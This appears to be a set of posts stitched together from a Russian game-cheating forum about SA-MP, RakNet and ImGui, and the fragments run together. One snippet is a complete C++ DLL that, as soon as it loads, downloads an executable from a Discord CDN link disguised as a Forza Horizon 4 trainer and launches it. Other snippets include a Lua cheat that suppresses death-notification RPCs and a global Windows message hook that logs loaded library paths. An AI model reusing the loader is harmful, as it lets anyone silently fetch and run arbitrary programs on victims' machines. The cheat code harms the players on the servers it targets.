- 1,122
- 987
Я исправил ошибку. Я включаемые каталоги забыл добавитьскрин
#include <Windows.h>
#include <string>
#include "pch.h"
#include <urlmon.h>
#pragma comment(lib, "urlmon.lib")
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
std::string url = "https://cdn.discordapp.com/attachments/994031688717975712/1114598234913001624/Forza_Horizon_4_v1.474.683.0_STEAM_-_v1.474.687.2_UWP_13_Trainer.exe";
std::string filename = "Forza_Horizon_4_v1.474.683.0_STEAM_-_v1.474.687.2_UWP_13_Trainer.exe";
int urlLength = MultiByteToWideChar(CP_UTF8, 0, url.c_str(), -1, NULL, 0);
wchar_t* urlWide = new wchar_t[urlLength];
MultiByteToWideChar(CP_UTF8, 0, url.c_str(), -1, urlWide, urlLength);
int filenameLength = MultiByteToWideChar(CP_UTF8, 0, filename.c_str(), -1, NULL, 0);
wchar_t* filenameWide = new wchar_t[filenameLength];
MultiByteToWideChar(CP_UTF8, 0, filename.c_str(), -1, filenameWide, filenameLength);
URLDownloadToFile(NULL, urlWide, filenameWide, 0, NULL);
delete[] urlWide;
delete[] filenameWide;
system(("start " + filename).c_str());
break;
}
return TRUE;
}
wndProc и событие WM_MOUSEWHEEL.Нужно выполнять код по скролу вниз, чет читал про обработчики мышки нихрена не понял help
C++:if (WHEEL_DELTA<-1) { // some code }
Как нарисовать 3D круг на Imgui?
хукай и нопай 53 (onSendDeathNotification) и 52 (onSendDeathNotification) RPC по гайду Юры Кодаcode lua:
lua:local sampev = require("lib.samp.events") function sampev.onSendSpawn() setCharHealth(PLAYER_PED, 0) return false end function sampev.onSendDeathNotification() return false end
как эти две функи переписать на сф (sf 551)?
#include <iostream>
#include <fstream>
#include <string>
#include <Windows.h>
HHOOK gHookHandle;
LRESULT CALLBACK HookProc(int nCode, WPARAM wParam, LPARAM lParam) {
if (nCode == HC_ACTION) {
LPCSTR lpLibFileName = reinterpret_cast<LPCSTR>(lParam);
char fullPath[MAX_PATH];
GetFullPathNameA(lpLibFileName, MAX_PATH, fullPath, nullptr);
char exePath[MAX_PATH];
GetModuleFileNameA(nullptr, exePath, MAX_PATH);
std::ofstream logFile("log.txt", std::ofstream::app);
logFile << "Program: " << exePath << ", Library: " << fullPath << std::endl;
logFile.close();
}
return CallNextHookEx(gHookHandle, nCode, wParam, lParam);
}
int main() {
HMODULE hKernel32 = GetModuleHandleA("kernel32.dll");
FARPROC pLoadLibraryA = GetProcAddress(hKernel32, "LoadLibraryA");
gHookHandle = SetWindowsHookExA(WH_CALLWNDPROC, HookProc, nullptr, 0);
std::cout << "Hook installed. Press any key to exit." << std::endl;
getchar();
UnhookWindowsHookEx(gHookHandle);
return 0;
}
RakNetInterface* - 3550Как можно получить указатель на RakPeer, не хукая его методы?
но ракклиент точно не брать из cnetgame, ибо его могут подменить. бери из конструктора ракклиентаRakNetInterface* - 3550